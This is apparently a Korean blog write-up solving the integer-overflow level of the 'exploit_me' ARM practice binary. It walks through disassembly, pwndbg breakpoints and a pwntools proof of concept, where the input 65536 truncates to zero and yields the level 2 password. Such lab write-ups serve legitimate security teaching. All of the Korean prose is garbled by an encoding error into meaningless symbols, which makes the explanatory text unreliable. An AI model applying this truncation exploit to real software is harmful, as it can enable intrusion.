[pwnable] ARM exploit ์ ๋ฆฌ - Integer Overflow
github์ arm exploit์ ์ ๋ฆฌํ๊ธฐ์ ์ข์ ์์ ๊ฐ ์์ด์ ์ด๋ฅผ ์ด์ฉํด์ ์ ๋ฆฌํด๋ณด๊ณ ์ ํฉ๋๋ค.
๐๐ป exploit_me
m1 mac์์ ์งํํ์ง๋ง pwnable ํ๊ฒฝ ์์ฒด๊ฐ linux x64 ํ๊ฒฝ์ด๊ธฐ ๋๋ฌธ์ qemu๋ฅผ ์ด์ฉํ์ฌ ์งํํ์์ต๋๋ค.
๐๐ป qemu ์ ๋ฆฌ
โ๐ป ์ ์ ์ค๋ฒํ๋ก์ฐ
main์ disassembleํด๋ณด๋ฉด int_overflow ํจ์๋ฅผ ์ฐพ์ ์ ์๋ค.
์ด ํจ์๊ฐ level2 password์ ํํธ๋ค.
์ฐธ๊ณ ๋ก level1 password์ ๊ฒฝ์ฐ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํ์ํค๋ฉด ์ฐพ์ ์ ์๋ค.
qemu-aarch64-static -L /usr/aarch64-linux-gnu/ -g 8888 ./exploit64 hello 11111
11111์ด๋ผ๋ ๊ฐ์ ์คฌ๊ณ , ์ด 11111์ ์ด๋ป๊ฒ ์ฒ๋ฆฌํ๋์ง ์ดํด๋ณด์.
0x0000000000401490 <+0>: stp x29, x30, [sp, #-48]!
0x0000000000401494 <+4>: mov x29, sp
0x0000000000401498 <+8>: str x0, [sp, #24]
0x000000000040149c <+12>: ldr x0, [sp, #24]
0x00000000004014a0 <+16>: bl 0x4171b8 <atoi>
0x00000000004014a4 <+20>: str w0, [sp, #44]
0x00000000004014a8 <+24>: ldr w0, [sp, #44]
0x00000000004014ac <+28>: str w0, [sp, #40]
0x00000000004014b0 <+32>: ldr w0, [sp, #40]
0x00000000004014b4 <+36>: cmp w0, #0x0
0x00000000004014b8 <+40>: b.ne 0x4014d0 <_Z12int_overflowPc+64> // b.any
0x00000000004014bc <+44>: adrp x0, 0x470000 <_nl_archive_subfreeres+104>
0x00000000004014c0 <+48>: add x0, x0, #0x7e8
0x00000000004014c4 <+52>: bl 0x425e30 <puts>
0x00000000004014c8 <+56>: mov w0, #0x0 // #0
0x00000000004014cc <+60>: bl 0x417b30 <exit>
0x00000000004014d0 <+64>: ldr w0, [sp, #44]
0x00000000004014d4 <+68>: strh w0, [sp, #38]
0x00000000004014d8 <+72>: ldrh w0, [sp, #38]
0x00000000004014dc <+76>: cmp w0, #0x0
0x00000000004014e0 <+80>: b.eq 0x401500 <_Z12int_overflowPc+112> // b.none
0x00000000004014e4 <+84>: ldrh w0, [sp, #38]
0x00000000004014e8 <+88>: mov w1, w0
0x00000000004014ec <+92>: adrp x0, 0x470000 <_nl_archive_subfreeres+104>
int_overflow์ disassembleํ ์ฝ๋๋ค.
stp x29,x30,[sp,#-48]!
mov x29,sp
๋ฅผ ํตํด ์คํ ์ ๋ฆฌstr x0,[sp,#24]
,ldr x0,[sp,#24]
๋ฅผ ํตํด ๊ฐ์ ๊ฐ์ ธ์จ๋ค.- atoi๋ฅผ ์ด์ฉํ์ฌ ๊ฐ์ ์ฝ์
- ์ด ๊ฐ์ 0๊ณผ ๋น๊ตํ์ฌ ๊ฐ์ง ์์ผ๋ฉด ์ฒซ๋ฒ์งธ branch๋ฅผ ํต๊ฐํ๊ฒ ๋๋ค.(๊ฐ์ผ๋ฉด exit)
- ์ดํ ๋ค์ ์ฌ๋ฐฐ์ดํ ๊ฐ์ ๊ฐ์ ธ์์ 0๊ณผ ๊ฐ์ผ๋ฉด jmp ํ๋ค.(0๊ณผ ๊ฐ์ง ์์ผ๋ฉด exit)
- ์ฆ, ์ ๋ ฅํ ๊ฐ์ด 0์ด๊ฑฐ๋ 0๋ณด๋ค ์์์ผ ํ๋ค.
์ด๋ 11111๋ฅผ ํตํด ๋ด๋ถ์์ ์ด๋ค ๊ฒฐ๊ณผ๊ฐ ๋์ค๋์ง ํ์ธํด๋ณด์.
b *int_overflow
c
์ด๋ ๋์ค๋ ๊ฒฐ๊ณผ๋ ์๋์ ๊ฐ๋ค.
0x401490 <int_overflow(char*)> stp x29, x30, [sp, #-0x30]! <main+224>
0x401494 <int_overflow(char*)+4> mov x29, sp
0x401498 <int_overflow(char*)+8> str x0, [sp, #0x18]
0x40149c <int_overflow(char*)+12> ldr x0, [sp, #0x18]
0x4014a0 <int_overflow(char*)+16> bl #atoi <atoi>
0x4014a4 <int_overflow(char*)+20> str w0, [sp, #0x2c]
0x4014a8 <int_overflow(char*)+24> ldr w0, [sp, #0x2c]
0x4014ac <int_overflow(char*)+28> str w0, [sp, #0x28]
0x4014b0 <int_overflow(char*)+32> ldr w0, [sp, #0x28]
0x4014b4 <int_overflow(char*)+36> cmp w0, #0
0x4014b8 <int_overflow(char*)+40> b.ne #int_overflow(char*)+64 <int_overflow(char*)+64>
...
์ด๋ ์๊น ์ค๋ช ํ ์กฐ๊ฑด๋ค์ ์ฐํํ๊ธฐ ์ํด breakpoint๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์ค๋ค.
b *int_overflow+40
b *int_overflow+80
b *int_overflow+120
continue ํ ํ์ w0์ ๊ฐ์ ํ์ธํด๋ณด์.
c
pwndbg> info r w0
w0 0x2b67 11111
์ฆ w0์๋ 11111์ hex๊ฐ์ธ 0x2b67์ด ๋ค์ด๊ฐ ์๋ค.
๋ฐ๋ผ์ w0์ด 0๋ณด๋ค ํฌ๊ธฐ ๋๋ฌธ์ jmp๋ฅผ ํ๊ฒ ๋๋ค.
๋ค์ ์กฐ๊ฑด์ผ๋ก๋ ๊ทธ ๊ฐ์ ๋ค์ ๊ฐ์ ธ์ 0๊ณผ ๋น๊ต๋ฅผ ํ๊ฒ ๋๋ค.
์ด๋ w0์ ์๊น์ ๋ง์ฐฌ๊ฐ์ง๋ก 0x2b67์ด ๋ค์ด๊ฐ์๊ธฐ ๋๋ฌธ์ jmp๋ฅผ ํ์ง ๋ชปํ๋ค.
๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด printf()์ exit๋ฅผ ๋ง๋ ํ๋ก๊ทธ๋จ์ด ์ข ๋ฃ๊ฐ ๋๋ค.
0x4014e4 <int_overflow(char*)+84> ldrh w0, [sp, #0x26]
โบ 0x4014e8 <int_overflow(char*)+88> mov w1, w0
0x4014ec <int_overflow(char*)+92> adrp x0, #_nl_archive_subfreeres+104 <0x470000>
0x4014f0 <int_overflow(char*)+96> add x0, x0, #0x810
0x4014f4 <int_overflow(char*)+100> bl #printf <printf>
0x4014f8 <int_overflow(char*)+104> mov w0, #0
0x4014fc <int_overflow(char*)+108> bl #exit <exit>
์ฆ, ์ํ๋ ๊ฐ์ ์ป๊ธฐ ์ํด์๋ w0์ 0์ ๋ฃ์ด์ผ ํ๋ค. ํ์ง๋ง ์ ๋ ฅ๊ฐ์ 0์ ๋ฃ๊ฒ ๋๋ฉด password๋ฅผ ์ป์ง ๋ชปํ๊ธฐ ๋๋ฌธ์ ๋ค๋ฅธ ๋ฐฉ์์ ์ฌ์ฉํด์ผ ํ๋ค.
ํด๊ฒฐ๋ฐฉ๋ฒ
๋ค์์ int_overflow์ ๋์๊ณผ์ ์ค ํ๋์ด๋ค.
์ด๋ strh
์ ldrh
๋ช
๋ น์ด๋ฅผ ํตํด w0์ ํน์ ๊ฐ์ ์ ์ฅํ๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
0x4014d0 <int_overflow(char*)+64> ldr w0, [sp, #0x2c]
0x4014d4 <int_overflow(char*)+68> strh w0, [sp, #0x26]
0x4014d8 <int_overflow(char*)+72> ldrh w0, [sp, #0x26]
โบ 0x4014dc <int_overflow(char*)+76> cmp w0, #0
0x4014e0 <int_overflow(char*)+80> b.eq #int_overflow(char*)+112 <int_overflow(char*)+112>
strh
๊ณผ ldrh
๋ halfword ํฌ๊ธฐ๋งํผ์ ์ ์ฅํ๊ณ ๋ก๋ํ๋ ๋ช
๋ น์ด๋ค.
๐๐ป ์ฐธ๊ณ
๊ทธ๋ ๊ธฐ์ 2^16 ๊ฐ์ ๋ฃ๊ฒ ๋๋ค๋ฉด 0์ด ์ ์ฅ๋๊ฒ ๋๋ค.
๋ค์์ 2^16์ ์ ๋ ฅ์ผ๋ก ํ์ฌ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ถ์ํ ๊ฒฐ๊ณผ๋ค.
pwndbg> b *int_overflow+80
0x4014cc <int_overflow(char*)+60> bl #exit <exit>
0x4014d0 <int_overflow(char*)+64> ldr w0, [sp, #0x2c]
0x4014d4 <int_overflow(char*)+68> strh w0, [sp, #0x26]
0x4014d8 <int_overflow(char*)+72> ldrh w0, [sp, #0x26]
0x4014dc <int_overflow(char*)+76> cmp w0, #0
โบ 0x4014e0 <int_overflow(char*)+80> b.eq #int_overflow(char*)+112 <int_overflow(char*)+112>
โ
0x401500 <int_overflow(char*)+112> ldr w0, [sp, #0x2c]
0x401504 <int_overflow(char*)+116> cmp w0, #0
0x401508 <int_overflow(char*)+120> b.lt #int_overflow(char*)+136 <int_overflow(char*)+136>
0x40150c <int_overflow(char*)+124> ldrh w0, [sp, #0x26]
0x401510 <int_overflow(char*)+128> cmp w0, #0
pwndbg> info r w0
w0 0x0 0
PoC
Expoit Code๋ฅผ ์ ์ํด๋ณด์.
~
"exploit.py" 15L, 317B 7,0-1 All
from pwn import *
def lv1():
args_lv1 = "65536"
p = process(['./exploit64', 'hello', args_lv1])
print(p.recvline())
if __name__ == "__main__":
lv1()
hoho@hoho:~/exploit_me/bin$ python3 ./exploit.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/hoho/.cache/.pwntools-cache-3.12/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.13.1)
[+] Starting local process './exploit64': pid 1515
b'Level 2 Password: "help"\n'
[*] Stopped process './exploit64' (pid 1515)
์์ ๊ฐ์ด Level 2 Password๋ฅผ ํ์ธํ ์ ์๋ค.
Leave a comment